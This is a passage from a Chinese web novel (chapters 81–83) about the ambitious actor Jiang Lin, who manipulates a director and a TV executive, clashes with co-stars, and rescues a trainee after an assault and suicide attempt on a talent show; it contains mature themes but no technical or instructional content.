晚上是杀青宴,江林喝了不少酒,满眼醉着桃花般,和剧组每个兄弟姐妹都喝了酒,打了招呼,捧着对方的手依依惜别。 江林蛮开心的,像是完成了一个重大的项目,就连讨厌的陶闲也得到了江林的笑脸。 明若卿滴酒未沾,只是静静看着江林胡闹,心中第一次生出陌生的情愫,少年红扑扑的脸上动容的笑容印在他眸底。 最后,江林扑进明若卿怀里,被他揽着进的酒店,江林迷迷糊糊地亲着他的脖子,明若卿身后瞧见的人,也当作没看见。 这次明若卿在江林房里留宿 “今晚陪我去个局。”明若卿揉了揉江林软塌塌、乱糟糟的头发。 江林偏头看着他,睡眼惺忪,脸白唇红,俊朗迷人:“谁的局?” “叶成哲。”明若卿深深看着他刚刚睡醒的样子。 /// 叶成哲是现在橘子台的总编室负责人,20岁因为台长是他亲舅舅进入橘子台,在他坚持实行的狼性企业文化下,多款综艺爆火,多个项目招商上亿 近五年盈利已经远超其他平台,风头无二,成为头部,而叶成哲也年纪轻轻成为娱乐圈鼎鼎有名的人物。 江林给自己放了一天假,睡饱了才让化妆师上门,配上一身白色休闲西服,刚换好衣服明若卿的电话便打了过来,让他直接下楼。 蒋红正好来和他讨论关于营销人设和未来发展的问题,因为江林不满她给自己接的两个通告,所以把人招来了,她来稳定她家摇钱树的军心。 “要我说明导还是对你好啊,用心良苦,你跟着他,以后星途一片璀璨啊。”蒋红语气中带着笑,简直像是中了五百万似的。 江林却轻笑一声,问她:“红姐,你觉得嫖客会爱上妓子吗?” 这话让蒋红脸上的笑容都僵住了。 “你比我更早进圈,怎么还这么天真,相信这种骗不成熟小姑娘的把戏啊。”江林摇了摇脑袋,整理了一下自己的衣袖,袖口金色的链式袖扣,头发凌乱有序。 蒋红笑容收敛:“那你是什么意思?” 江林看着她,唇角还噙着笑,但蒋红却感觉到他眼中无形的压力:“我的意思是你只需要跟着我脚步就好了,不要质疑我的决定。” 蒋红看着他扬长而去的背影,眉头微微一蹙,娱乐圈那些没成名的艺人敢这么和经纪人叫板? 江林也是独一份了,不过她转念想想,江林的确有些本事在身上,合同是五五分,只要江林不闯祸,能赚钱就够了。 车库打着双闪的黑色迈巴赫,江林打开车门,明若卿已经坐在里面了,他依旧是深色的夹克衫,牛仔裤,他瞧见隆重打扮的江林,神色微动。 江林面色如常坐下,呼出一口白气,搓了搓泛冷的手背,偏头看着明若卿,眯着眼笑:“明导下部戏导什么呀?” 明若卿伸手握住他的手,五指轻轻搓揉着他的,语气平静:“没想好。” “那我还有机会成为您的男主角吗?”江林勾着他的手指,笑眯眯说道。 “我不会重复用第二次男主。”明若卿很残酷地说道。 江林遗憾地叹息:“真可惜,我还期待和明导再次合作呢。” “总有机会在其他方面‘合作’的。”明若卿带着江林出来认识人,就是给他铺路的,不管怎么说,江林在他心中的地位总是和其他人不同的。 而且他默认了两人的亲密关系。 如果他是一个毫无演技天赋的人,明若卿也不会给他这么铺路,只会养着他,把他养成金丝雀。 现在江林即然有天赋,有演技,他就愿意给他机会。 江林凑到他跟前,在他唇角亲了亲,明若卿主动偏头和他熟练地吻了吻,轻声道:“去了卓导那儿,可别来在我剧组那一出,卓导女儿都和你一样大了。” 江林从鼻尖哼出一声不满:“你以为我什么都吃得下。” 明若卿捏着他的下巴,在他唇上轻舔了一瞬,哑着嗓子,阴影下盯着江林俊俏的脸:“在卓导剧组好好演戏就行,他不会为难你的。” “嗯嗯嗯。”江林连连点头。 “好了,坐好。”明若卿松开他,毫无威慑力地提醒。 江林懒懒散散地坐好,拿出手机刷,他的杀青并没有在网上掀起任何的波澜,倒是沉诗澜那天杀青冲上了热搜,两人相拥红着眼眶的照片还在热搜上挂了一天。 他的综艺播得也不错,江林本人有梗,开得起玩笑,游戏的时候认真,还被营销号剪辑,标题为‘一生要强的江家人’。 视频里面另外两个‘江家人’都比江林红,他又是连吃带蹭的。 娱乐圈无外乎就是这样,谁红蹭谁,他红了,也会被其他人蹭。 他接下最重要的事情,第一件,桃子台似乎想要把羊毛薅秃,让江林成为自制选秀的飞行师兄之一参加,让他指导舞蹈。 只想要江林的热度,根本不管他的死活啊,就他三脚猫的舞蹈功底,能当导师? 但没办法,如果不接就赔钱。当然那个选秀很糊,否则也不能让江林去当飞行导师。 第二件事就是准备进组,蒋红给他撕得代言,都是一些不入流的,价钱还低,他不准备接,等剧播了再说。 车缓缓停下,在一个低调的餐厅,周围没有什么灯红酒绿的建筑,不算中心商圈,但装修建筑雅致格调,处处可见的刺绣屏风,假山水池,呈现高山流水之感。 明若卿手放在江林腰上,在他耳畔说:“这是叶成哲开的餐厅,里面菜色也是迎合他的口味,他没事就在这儿和人吃饭打牌” 江林嗯了一声,也不拘谨,在他耳边开玩笑:“明叔经常来玩儿?带来的漂亮明星多不多?” “别闹。”明若卿轻拍他的腰,唇角勾起浅淡的笑。 “呦!这是谁啊。”不远处男声乍然响起,带着玩味儿。 江林朝着发声处瞧去,看见山水屏风后有一小桌人,七八个的样子,纷纷朝着明若卿看过来。 “明导儿,平时影都见不到的人,今天倒是拖家带口来啦?” 一群年纪不算轻也不算老的男人们,围着一张麻将桌,桌上泡着茶和切好的水果,还有价值不菲的雪茄和酒水。 打牌那四人也回头看过来,江林从中一眼瞧见了眼熟的人,他看过叶成哲的照片,但那照片却不如眼前的人捉人眼球。 他和明若卿相比,五官更明媚也更张扬。 江林只是一扫而过,并未特意停留在他身上。 “明儿,你这是?”叶成哲手中摩梭着幺鸡的麻将牌,靠在椅子上,领带斜斜歪着,上上下下、仔仔细细地打量着江林。 他瞧着这个打扮得像礼物似的青年,足够俊俏,五官立体精致,唇红齿白,看着像个乖小孩,但眼底却又有恃无恐地野心毕露,看着又像一匹野马。 叶成哲全网都有眼线,自然知道江林是明若卿的新剧男主。 明若卿姿势很强势,缓缓将江林往前推了两步,把他推到跟前,低声道:“带着小朋友来见见世面。” “嚯,小朋友?!”安隆阴阳怪气的笑,这里面的人个个拎出去都是了不得资本和人物,感情说不上多亲厚,但一般人也融入不进来。 明若卿没做回应他的玩笑,带着江林认人,动作亲密,仿佛官宣的架势般。众人心中都微微吃惊,在他们心中明若卿就是一个离经叛道的老古板,性格沉闷,平时板着一张脸,谁也不放在眼里。 但没想到看起来最古板严肃的明若卿,居然找了个男相好,如果不是事实摆在眼前,根本没人会信。 “江小朋友会不会打牌啊?”见明若卿这么护着,朋友们也不好不给面,有个打牌的男人朝着江林招招手。 江林弯了弯唇,“会一点。” 原身母亲就是赌鬼,他从小在牌场赌馆子长大的。 “来来来,你替我打两圈,我去上厕所,赢钱算你的,输钱算我的。” 江林看了一眼明若卿,见他点头,他才坐下去。 “南方的麻将,七小对、清一色、混一色”有人简单地给他提了一嘴。 江林点了点头,道:“我会的。” 麻将机噼里啪啦响着噪音,在场的所有人张张嘴,就能让江林的努力付诸东流,他却不慌不忙抓牌打牌,四人打着牌,抽着烟,扯着闲话,旁边人或看着,或者在三三两两地聊天。 江林也许真的被牌神眷顾,第一把就整了最大翻型的十三幺,把人都给镇住了。 “?不是?真假?”牌友震惊,脸色也有些变化了。 江林只是微笑着,“好像没错。” “这运气也太好了,让那上厕所的快回来,这谁打得过啊?” “哦呦,不错不错。” 叶成哲没说话,脸上笑意却深了深,后面几圈,江林没有再胡,给人三人喂牌喂得舒舒服服的,其中以叶成哲最多。 叶成哲琢磨出一点味道,抬起一双狐狸眼,眼神犀利又玩味的打量对面青年,那张赏心悦目的脸,生得好,天生吃娱乐圈这口饭的。 江林倏然抬眼,圆润眸子盯了他一瞬,双眼皮很深,微圆的弧形,显得深情又深邃,打出一只幺鸡,叶成哲十三幺胡幺鸡。 叶成哲眯了眯眼。 这小子是故意的。 叶成哲没胡,他上家胡了清一色。 等上厕所的人回来,江林正好不输不赢。 结束这一把,正巧服务员来提醒,菜上齐了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 明若卿自然注意到了江林的反常, 眉梢几不可察的蹙起,不太赞同江林的行为,像他们从小尔虞我诈中生长的人。 不太喜欢自作聪明的人。 江林跟在明若卿身后, 始终保持着浅浅的微笑,不是那种谄媚讨好的笑容, 礼貌疏离又客气。 “你很会玩牌?”明若卿手轻轻搭在他肩膀上,低头耳语。 江林也和他偏头低语:“从小耳濡目染。” “有时间我也可以陪明导玩儿。” 他这话没毛病,但明若卿多看了他一眼, 他足够客气,所以显得极为疏离, 距离感很强。 明若卿来不及思考其中代表的意思,便被人安排着坐下,旁边的人扯着他开始闲聊。 “我看江遂行!长得也好,以后肯定红透半边天,我们明导还是看人准哈。” “哈哈哈,那可不, 明导的朋友就是我杨某的朋友, 以后遇见什么事儿, 明导没空,大可来找我。哥哥我能帮的一定帮。” 江林不知这里面几分假, 几分真, 总之轻声应承下来,仰头喝完那杯辛辣的白酒,腕骨有力白皙, 面色红润带笑。 “哎呦,不用这么喝,真是太客气了。” 明若卿坐在他身后, 视线静静落在江林逐渐泛红的耳后,没有阻止他的动作。 叶成哲喝酒、玩牌都是当乐子,这里面的人也都不是没分寸的,不会搞不醉不归那套,他们喝酒是闲情雅致。 他把玩着手腕上的带着正阳绿的翡翠珠子串成的手链,眼神时不时落在明若卿和江林身上。 他在娱乐圈混到今天的位置,察言观色的能力不逊于官场浮沉的官员,只一眼就能看出江林肚子里的弯弯绕绕,唇角泛着戏谑的笑,没想得到明若卿也有阴沟翻船的一天。 这个江林啊,明显就不是一个安分的主。 江林察觉到叶成哲的视线,眼皮微微撩起,一错不错地和他对视了两秒,没有刻意的轻浮和勾引,只是静静看着他。 旋即,明若卿给他夹了一块兔肉,他便移开视线,唇角勾起更深弧度的笑容。 叶成哲舔了舔尖牙,原本百无聊赖的心情生出一些波澜,他端起酒杯,其他人同一时间停下来,他笑着说:“来,我敬一杯我们明儿带来的赌神小朋友。” 众人笑着迎合,江林看了他一眼,主动站起身来,礼貌欠身,手边一杯倒满的酒一饮而尽,叶成哲这个发起人却只是把酒杯轻轻放在桌上,没有喝。 明若卿见状端起手边的杯子,陪着江林一饮而尽,其他人也跟着动起来,随即,他拿过江林的酒杯,翻手倒扣在桌上。 “明叔啊,你怎么这么好呢?”江林凑到他耳边,哑着嗓子低笑一声,手放在他的腿上。 明若卿在桌子底下扣住江林的手指。 /// “明若卿知道你这么贱来勾引他朋友吗?” 汀兰阁的厕所都充斥着兰花的香薰,一尘不染的地面和墙壁,几乎每一位顾客上完厕所,就会让人来打扫一遍。 而此刻高级明亮的厕所里,正做着低级暧昧的事情,赫然是刚刚的主角叶成哲和江林。 两人在宽敞的隔间接吻,时不时弄出不小的动静,都是脑袋轻磕在木门上的动静。 江林嘴唇湿润着,有被反复吮啧的痕迹,因为喝酒过多,眼皮嫣红,微微垂着眼,眼底水光潋滟。 两人只是前后脚进入厕所,便亲热地吻在一起,犹如相识很久的爱侣。 叶成哲嘴唇很薄,狐狸眼一片薄凉和嘲讽,不解明若卿的品味如此低劣。 江林对于他尖锐的语言半点不生气,嘴角缓缓勾起,视线扫过叶成哲的脸,眼神同样的鄙夷,眉眼间绕着点点桀骜:“你觉得你多高贵?” 江林捏着他的脖子,手指按着他的喉骨,他做不来卑躬屈膝的谄媚样:“我好像一句话也没说,叶主编就急不可耐地跟着我来了,到底谁更贱?” 叶成哲被他锋芒毕露,桀骜不驯的冷痞惊得瞪大了双眼,呼吸急促了两分,扫过他棱角分明的五官,还想说话,门被人从外面打开。 门口赫然站着冷着脸的明若卿。 江林和叶成哲的姿势很暧昧,彼此唇上留下的痕迹,都是无法磨灭的铁证,两人在明若卿眼皮子底下狼狈为奸,勾搭成奸。 江林不紧不慢地松开掐准叶成哲脖子的手,整理了一下衣摆,镇定又冷静地看着明若卿,笑着喊:“明叔,你怎么来了。” 他冷静的模样,似乎半点不慌。 叶成哲散落的扣子又落了两颗,更加显得放浪形骸,他语气玩味:“明儿,你这看人的眼光还是得和我多学学,别什么阿猫阿狗都看得上哦。” 他说完这句话,有恃无恐地离开,吹着口哨,拿出手机,手机画面停留在他和明若卿聊天的界面。 【明儿来厕所,我给你准备了一出好戏。】 他们这样的人乐子可不多,特别是像明若卿,能看见他吃瘪的样子,可是百年难得一遇,当然要好好欣赏咯。 明若卿那双如同石墨般黝黑的眼,正仿佛刀锋般尖锐地看着江林,看着这个背叛者。 江林走到他身侧,手搭在他肩膀上,亲昵地在他脸颊上亲了亲,表情有些疑惑:“明叔,您好像很生气?不是您介绍我认识叶成哲的吗?” “”明若卿沉默不语,抓开江林的手臂,轻轻甩开,心口堵得慌,喘不过气来。 “只差一点,我就成功了,明导,谢谢你给我介绍的资源和人脉啊。”江林收回手,双手插兜,仿佛瞧不见他冷漠面孔下的汹涌情绪,自顾自笑着,声音轻了轻:“你不会要和我玩真感情吧?” 玩和感情放在一起,总透着一股格格不入的感觉。 感情是用来玩弄的吗? “我以为我们只是各取所需呀,今天很感谢您带我来认识人。明天我有通告,今晚不能做得太晚,我们”江林似乎不将明若卿的胸腔捅一个窟窿不罢手。 “够了!”明若卿终于忍无可忍打断了江林的话,表情像是结了冰,生了寒。 江林住了嘴,微笑看着他,等着他的下文。 以明若卿的自尊心在江林如此表态下,根本不可能再说出一句真心,他终于发现自己似乎不能成为拴住江林的缰绳。 江林自始至终都知道自己要什么,是他瞎了眼,想给他自以为是的真情。 他没了下文,江林等了两分钟,无奈笑笑,轻声和他告别:“明导我先走了,小庄来接我了,以后您有需要可以随时打我电话。” 他从明若卿身旁走过,脚步声踩在明若卿耳膜上,如同刺耳的鼓点。江林突然停住脚步,他抛出一句网络上常用的话语,带着点笑:“明导智者不如爱河啊,您应该不是那种把私人感情带到工作上来的人吧。” 话音落下,江林已经走出了厕所。 江林脸上的笑容逐渐消失,在门口瞧见叶成哲正倚在墙边,嘴里叼着根烟。他显然将里面的谈话都听进去了,看向江林的眼神都有些古怪和兴味。 他原本以为江林只是趋炎附势,所以一边哄骗明若卿,一边勾引他,却没想到一开始就是明若卿自己清醒的沉沦。而江林自己明显已经next level,瞧着是个野心勃勃且会审时度势的事业批啊。 若是在别的领域,他不敢打包票他比明若卿强,但在娱乐圈他的权力比他只强不弱,几乎可以说是掌握着娱乐圈的半壁江山。 江林会放弃明若卿而选择他,他完全能理解,人往高处走,水往低处流很正常。 只是江林能够这么直接果断地拒绝明若卿,其魄力和胆量都是不错的。 江林没什么表情弯了弯唇,明明他和叶成哲几分钟前唇舌还亲密无间,此刻却异常疏离,他没有过多纠缠:“下次见,叶总编。” 叶成哲看着他的背影消失在转角,身形挺拔,肩宽腰窄,双腿修长,说是模特比例也半点不为过。 只是他的床没那么好爬。 叶成哲双眼微深,喉结缓缓吞咽了一瞬,脑海中又响起刚刚和江林的对话。 明若卿并没有就此崩溃,江林的背影刚刚消失,他便走了出来,迎面对上叶成哲。 叶成哲扯着唇角笑:“你要感谢我帮你认清人情冷暖吧,娱乐圈水很深的。” “论资排辈,还轮不到你来教训我。”明若卿恢复了冷静,语气平缓。 “怎么不识好歹呢。”叶成哲哼笑一声,觉得没意思,还以为能瞧见明若卿失态的样子。 明若卿只是警告地看了他一眼。 明若卿提前离开,叶成哲待到最后散场。 /// “叶主编,早上好。”叶成哲从电梯走出来,听见工位上的众人齐声打招呼。 他笑着点头,直接朝着上周招商中胜出的策划走去,期间路过某个小姑娘的桌面时,轻轻扫了一眼。 小姑娘刚刚松了一口气,想把自己的摸鱼画面删除,突然听见倒退回来的叶总编站在他身侧低着头,意味不明地笑着说:“你看的杂志蛮不错的。” 小姑娘下意识地扫了一眼旁边的杂志,瞬间面红耳赤了,杂志封面是最近冒头的小爱豆江林。 他正双腿跪在地上,微微岔开,脖子上挂着醒目的红绳,绳索半垂在他身体两侧,脖子冷白,他虽然动作姿势卑微,但眼神野性又性感,直勾勾的看着镜头。 那种看垃圾的眼神,让叶成哲爽得头皮发麻。 第82章 “喂?红姐?刚在拍戏。”在小庄的提醒下, 他给蒋红把电话拨了回去,他穿着一身干练的警服,未施粉黛的白皙俊美。 “是这样, 我刚刚收到橘子台的综艺邀请,类似于观察室的那种。”蒋红声音有些低, “这是明导给你安排的吗?” 她还不知道明若卿和江林闹掰的事情,下意识地这样认为,毕竟以江林现在几乎查无此人的状态, 橘子台播出的这种大热综艺,实在没必要强行奶他。 江林把警帽脱下递给小庄, 微微挑了下眉,天下不可能无缘无故地掉馅饼,他不过犹豫了两秒,便直接拒绝了:“暂时不接,卓导这边我抽不开时间。” 他已经正式进了卓智明的剧组,卓智明是个胖老头, 一米七左右的个头, 拍剧的水平时高时低, 最高的一部剧,现在还是某平台评分中最高, 十几年来无人超越。 前两年拍的武侠剧, 也是引起过全网骂,但这不妨碍所有人挤破脑袋往他的剧组里钻。 “好的啊?拒绝?为什么?”蒋红以为江林会狠狠抓住这波机会再表现一波,最近几年综艺如雨后春笋遍地开花, 许多艺人借此圈了一波流量。 其中橘子台的综艺一向是数一数二的。 “我现在什么作品都没有,上大热综艺不是等着挨骂吗?”江林咬着自己浅绿色水壶的塑料吸管喝了几口水,这个水壶还是粉丝送他的, 前两天还被不小心拍到了。 “你”蒋红一时间语塞,若是别人和她说这种话,她一定会斟酌三分判断真假,但江林?他是那种怕骂的人? 最后,蒋红还是接受了江林的决定。 “江遂?你过来一下。”卓智明叫住江林,带着他在监视器前。 “导演?”江林微微低头,做出洗耳恭听的样子。 一开始进组的时候,卓智明对他鼻子不是鼻子,眼睛不是眼睛的,他也没有表现出任何不满,不卑不亢地拍戏,力求完美。 现在卓智明已经对他没有任何的芥蒂了。 在这期间,江林还给他孝敬了不少东西,会做人又会拍戏,实在让人挑不出错来。 “今天这场打戏明天还得重拍,你没什么太大的问题,动作还可以再凌厉一点。宋伟的问题更大,我等会会找他的麻烦”卓智明口中的宋伟是这场和他有打戏的演员。 江林点了点头,乖巧地回答:“好的,卓导。” 卓智明的话锋一转,表情带着点笑:“我听说你和老旭在化妆间吵起来了?” 老旭完整的名字是岳旭,算是娱乐圈的老前辈,多年来一直都活跃在影视剧里,今年四十多快五十了,在剧里饰演的是局长。 江林勾了勾唇,脸上出现点淡淡的笑意:“没什么大事儿,发生了一点口角而已。” “口角而已,差点气得老旭吐血,状都告到我这儿来了。”卓智明似笑非笑的看着眼前还算乖顺的青年,心中喟叹后生可畏。 “这人一把年纪,怎么还打小报告啊?”江林不满地嘀咕着,嘴角也不屑地撇了撇。 他和岳旭这件事起因很小,两人那天共用一个化妆间,江林扮演的这个角色叫仲树心,《北榕刑警队》里面的男三,他因为出众的样貌,江林被称为队里的‘警花’。 剧是由一个个凶杀案串起来的。 仲树心还是一个同性恋,其中有个案子死者是仲树心的高中同学,两人因为是同一个‘圈子’中的人,曾经关系还不错。 最后真相大白,死者是因为借女人的肚子传宗接代,让妻子成为同妻,甚至在妻子怀孕期间,公然和男朋友在家中胡搞。 而死者的父母都是知情人,都帮着死者瞒着女方,而后女方想要带走孩子,孩子也被抢走,最后一根稻草压垮了她。 她选择杀死了她丈夫。 那天小庄看了剧本,义愤填膺地说道:“姚亮辉真恶心,骗女人生孩子,这种人死有余辜。” 江林只需要简单修眉,根本不需要上妆,而徐旭就不一样了,一把年纪又要维持风度的气质,只能遮一遮脸上的细纹和瑕疵,黑眼圈很重。 “男人这种东西你还不了解吗?”江林轻笑一声:“现实生活中品行低劣的同性恋可多了去了,不要脸骗婚的同性恋更是多如牛毛,他们碍于世俗和家庭骗女人生孩子,他们的爱情至死不渝,更是恶心至极” 而正在闭目眼神的徐旭冷着声开口了,“江遂你才几岁,见过几个人啊,就敢下这种定律?不知所谓,令人发笑。” 江林似乎有些惊讶他会开口,原本就不太喜欢这个徐旭眼高于顶的模样,这下也没惯着他:“我二十岁,正好比您年轻二十七岁,如果没记错的话,徐旭老师今年在社交平台上放了您儿子的大学录取通知书您现在反应这么大,不会是踩到您的痛脚了吧?” “姚亮辉照进现实,超级加辈版?” “你在胡说八道什么?我只是不认同你的三观!”徐旭冷哼一声,那用鼻孔看人的样子。 江林拢了拢自己的警帽,起身含笑看着他,只说了一句就让他破防了:“徐老师再过两年就到了屎都包不住的年纪咯。” 徐旭顿时勃然大怒,站起身就要找江林的麻烦,但被人拦住了,只能眼睁睁看着江林出了化妆间。 “徐老师您别和他计较,他就是一小孩儿” 徐旭面红耳赤地说道:“他这是诽谤!我要告他!” “行了,都是一个剧组的,他年纪大,你给他备点礼物,道个歉算完了。”卓智明一个头两个大,两个都是有背景的,他谁都不想得罪。 江林嘴上说着好,背过身给徐旭买了一箱纸尿裤,给徐旭气得够呛。 一个剧组哪有秘密,他也知道江林背后有人,倒也不好闹得太难看,但小绊子没少使。 江林扮演的男三是刑警队中的技术人员,精通电脑数据,曾经还是一名小有名气的黑客。 队里其他人有痕迹侦查兵,有画像师,有法医 现在的观众都不喜欢在刑侦局里搞爱情,所以这部剧是双男主,根本没有女主。 江林是里面年纪最小的演员,在剧里面是刚毕业的大学生,年纪也是最小的,被哥哥们照顾着。 不过戏外呢,演员们虽然表面上其乐融融,但对江林这个没有任何代表作的资源咖是心生不满的。 但大家又不是蠢人,不会像徐旭那样放在明面上来为难,只是不热切。 江林的戏份不算重,所以他参加桃子台飞行师兄导师这件事儿,也按部就班的进行着。 选秀节目已经播了第一期,个人表演,导师评分,打上等级。而江林录制的是第三次公演,他自己拍摄前扣了很多遍舞蹈动作,从上月开始就在练。 一些个年纪比他还大的练习生,穿着统一的粉白色训练服,面上很恭敬礼貌地看着他。 江林站在镜子前,四周都是摄像头对着,他看着众人强打精神的样子,昨天第一期节目播出,他们都偷偷地拿手机刷到半夜。 “大家好,你们可以直接叫我江遂就好。”江林唇角带着笑。真的很好笑,他一个半吊子水平来当导师,他还是正在转型成演员的爱豆。 “师兄好!”十来个男生弯腰喊。 “好好好,那啥我们就先来扣扣动作吧。”江林只想速战速决,带着一个黑色鸭舌帽,黑色短袖,露出线条有力的肌肉,“这首歌曲很燃,也被很多节目翻跳过,热度很大,跳好了会很炸。但也很难,舞蹈动作也好,舞台走位也好,都不简单” 江林虽然不是从小练舞,但花一个月时间耗在这支舞蹈上,也算是小有成就。 学员们也从一开始轻视变得认真,江林很严厉,视线很冷,视线盯住某个挑错拍的学员,先放他一马,第二次再错,江林便直接骂了:“那位是叫周萧是吧?你在故意要镜头吗?跳错引起我的注意?” “你这样子真的显得很蠢。” 江林跳得身上都湿了,还有人给他玩心眼子,他这脾气根本忍不了。 周萧直接就脸红了,反驳说没有。 江林却根本不管他,重新音乐:“跳不好就一遍遍重复跳。” “” 江林教完这个班,还有一个班,也是跳相同的舞蹈,两队进行battle。 如果不是桃子台给的多,江林真不愿意干这活,他从舞蹈室出来,准备上完厕所,就去下一个教室,教下一群笨蛋。 刚走进厕所便发现了不对劲,地面上蜿蜒流出血迹,从最里面那间隔间淌出来的,门开着。 江林脚步加快,看见触目惊心的一幕,没有穿衣服的少年,身上全是被人侵/犯的痕迹,脸都被人扇肿了,他手腕上是玻璃划破血管的痕迹。 少年还醒着,一双红肿的眼怔怔看着江林。 江林直接脱下上衣,露出里面黑色的背心,没有犹豫往他身上套,肩膀上的毛巾围在他屁股上,挡住他的私密部位。 他按住少年手腕的伤口,拧着眉说:“自杀是最废物的行为,□□了不会干回来?” 少年意识在模糊边缘,只是看着江林的脸,被抱起来,他原本黯淡的眼神出现一丝光芒。 但不等江林将人带到医院,他被工作人员截胡了,江林把人交给他们,沉着语气:“这是一条活生生的人命,你们可不要犯蠢。” 工作人员急得满头汗,直点头:“我们知道,我们这就把人送到医院去。” “麻烦江老师继续完成拍摄。” 江林先清理了一下手上的血迹,耳边是工作人员请求他保密的低语。 这吃人的娱乐圈,闹出人命也能粉饰太平。 “这小孩儿是怎么回事儿?”江林问。 工作人员支吾了一瞬,还是回答了:“于森是个人练习生,没有公司,这次可能是个意外吧。” 江林没继续往下问了,他这话的意思是个人练习生没有背景,所以就算申冤也无门啊。 所以他们才会放任他被霸凌。 桃子台吃人血馒头那是出了名的。 江林继续去录制完,教完另外一个班的舞蹈,才坐车离开。 后来,又断断续续地录了两天,于森已经回来了,他跳舞很棒,几乎在一群人中脱颖而出,也是江林教授节目中的一员,瘦瘦高高的少年,一双眼睛幽黑。 江林像是从未见过他,于森也没有多说,江林选择让他当C,他明显地看见底下有几个人非常不满,最后不知道碍于江林还是节目组的警告,不敢说话。 /// 后来,江林再次得到于森的消息,是在热搜上。 “江哥!我靠!你看热搜了没有。”小庄垂死病中惊坐起,匆匆跑到江林卧室门前,敲响门。 “什么?”江林刚洗完澡,打开热搜一看,就是三个爆火热搜——于森被霸凌,于森江遂,于森第三名。 这个节目原本是很糊的,成团夜刚结束,于森趁着热度开了直播,把之前被侵犯时的录音直接放了出来。 于森一脸的冷漠,录音中是撕心裂肺地痛哭尖叫声和一些男人的污言秽语,那些声色很有辨识度。 一瞬间热度便直接冲了上去。 于森列举了很多证据,还露出自己手腕上的疤,看着镜头,脸上表情终于有了一点点变化,唇角泛起淡淡的笑容:“我原本应该已经死了,是江遂师兄救了我,他是一个很好的人” 江林便这样被带着上热搜了。 于森的直播很快就被人强制下架了。 江林看着小庄,脸上带着点浅笑,语气有些轻:“没想到做好事,真的有好报啊。” 他似乎并没有为于森的处境感到伤心和担忧,于森可能是被利用的,也可能是桃子台的对手收买了,所以才能开启这场直播,否则以他的能力根本不可能说完这么多话,热搜也挂了这么久高居不下。 而桃子台很早之前就掀起过民愤,现在网友们深信不疑他的尿性,冲了他们的官博。 “好了,你说的江遂救了你,是真是假?”叶成哲的声音透过电话,显得不太真实。 于森回答:“是真的,是他救了我。” 叶成哲只知道于森自杀进医院的事情,没想到这里面还有江遂的事情,他现在还记得蒋红拒绝了他的综艺邀约呢。 “这么看他还真是个好人呢。” 于森肯定地说:“他就是好人。” “行了。”叶成哲不以为然,“你这两天不要再回应,在网络上消失。” “嗯。”于森。 /// 江遂上了热搜,又涨了不少粉丝。 【江遂是什么天神下凡,我直接被迷成小笨蛋。】 【桃子台吃人血馒头迟早孽力反噬。】 【有一说一,这综艺真的好糊啊,我才知道我江江在里面当了导师哈哈哈。】 【江遂好棒!】 【救赎文照进现实?我爱了。】 【我们江遂就是这么人美心善咯。】 明若童约了白宝戎很多次,白宝戎都拒绝了,因为抽不出空,今天好不容易闲下来,答应了明若童的邀约。 明若童喝了酒,胆子大不少,勾着白宝戎的肩膀,双眼红红,欲言又止,满眼愧疚,嘴巴一瘪,嚎叫出声:“宝哥,你对我这么好呜呜呜,我对不起,我真的该死” 白宝戎不明所以,“怎么了这是?” 明若童借酒壮胆:“准确地来说,是我哥不是人!他搞了你马子!不对,就是那个江遂,男的我哥睡了!” 白宝戎一怔,这个名字有很久没听见了,那一夜的时光像是黄粱美梦,很久没有想起了。 “没事儿,没事儿,我们现在也没联系,早结束了。” “你不伤心就好,他是个没良心的,他之前问他认不认识你,你知道他怎么说吗?”明若童抱怨起来,擦了擦眼泪。 白宝戎被勾起了一点兴趣,“他怎么说?” 明若童模仿着江林的语气,那股不屑的劲儿:“白宝戎是谁?他很有名吗?” “宝哥你说他什么意思啊,居然说不认识,那语气多瞧不上似的就是欠/操,他奶奶的” 白宝戎神情有一瞬微妙的变化,如果明若卿知道□□的是他,应该就说不出这些话了。 他眉头微微蹙了蹙,旋即又松开,心中冷哼,是江遂这提裤子不认人的性格能说出来的话。 /// 趁着这波热度,江林再次收到了橘子台的综艺邀约,这次江林没有拒绝。 第83章 当于森的热搜爆出来, 江林刑侦剧的拍摄也接近了尾声,这样一波热度让原本消失在大众视野中的江林又重新获得了关注。 这天制片人准备了礼炮,在拍摄结束的最后瞬间, 彩带飞舞,献上鲜花, 在一片欢声笑语中结束了拍摄。 卓智明脸上也洋溢着弥勒佛似的笑容,看着自己的作品觉得很满意,请大家一起吃饭, 某些有通告的演员已经先行离开。 江林没走,陪着卓智明喝到最后, 面不改色心不跳,有一种泰然自若的海量之感。 “以前还没看出来你小子的酒量这么好?喝酒像喝水似的,哎呦,不行了,我头晕”卓智明是个好酒的,只是拍摄期间在妻子的再三警告下, 才不敢喝酒上班。 现在是敞开了肚皮喝, 一边说着不行, 一边往江林杯子里灌酒。 “我啊,把你介绍给了一些导演, 你是个可塑之才, 演技比很多流量小生都好太多了,只是还没有代表作”卓智明抓着他的胳膊,语重心长地说道:“你放心好了, 我眼睛就是尺,我认可的人就没有差的” 喝醉了的男人都是这样,谈天说地吹牛逼, 两句话翻来覆去地说着,没一句话能当真。 他的确把江林介绍给了其他导演,但那些导演在江林没有代表作之前,还是不敢轻易用的。 “好好好,您也是我见过最厉害的导演”江林开始装醉了,和他互相吹牛逼 明若卿接到卓智明电话的时候,正靠在床头看书,凌晨一两点依旧精神。 卓智明的含糊翘舌的语调,重复的话语,一听就知道是喝大了。 “明导啊,你介绍的江遂是个好的,演得很不错呢,长得也俊,还是你眼光好” 明若卿最近在剪片子,他拍摄的每一帧的画面都让他觉得心塞,有一种钝刀割肉的死亡凌迟感。 他有想过要不要换男主重拍,但最终还是没有,他甚至没有删减一分江林的戏份。 其实在成品未出现在观众面前,演员是不知道最终会呈现出什么样子,很多导演一刀切,你这个演员白忙活几月,或者遇上恶意剪辑,一辈子都别想洗干净。 明若卿没有忘记过江林,因为江林暂时占据着他的所有视线,看见他热搜救人,心中隐隐欣慰,他不是黑心肝的,最基本的良知还在。 卓智明的声音把他从失神的状态下拉回来,“不过这小子酒量不行,喝多了酒撒泼,刚刚还和人打了一架哎,明导你真是眼光好” 明若卿拧起眉,并不意外江林会和人打架,他就是急冲冲、血气上头什么都不顾的。 “来,江遂,你明导在这儿来打个招呼。”卓智明声音远了些,在叫人。 明若卿耳边传来混乱嘈杂的声音,听得有些不真切,仿佛很远地传来,但很快,一声清晰又清哑透过电话,在耳畔炸开:“明叔,好久不见,想你哦。” 江林只说了这一句话,电话便被卓智明抢走了,又继续和他的忘年交去聊天了,说得唾沫横飞,电话什么时候挂的都不知道。 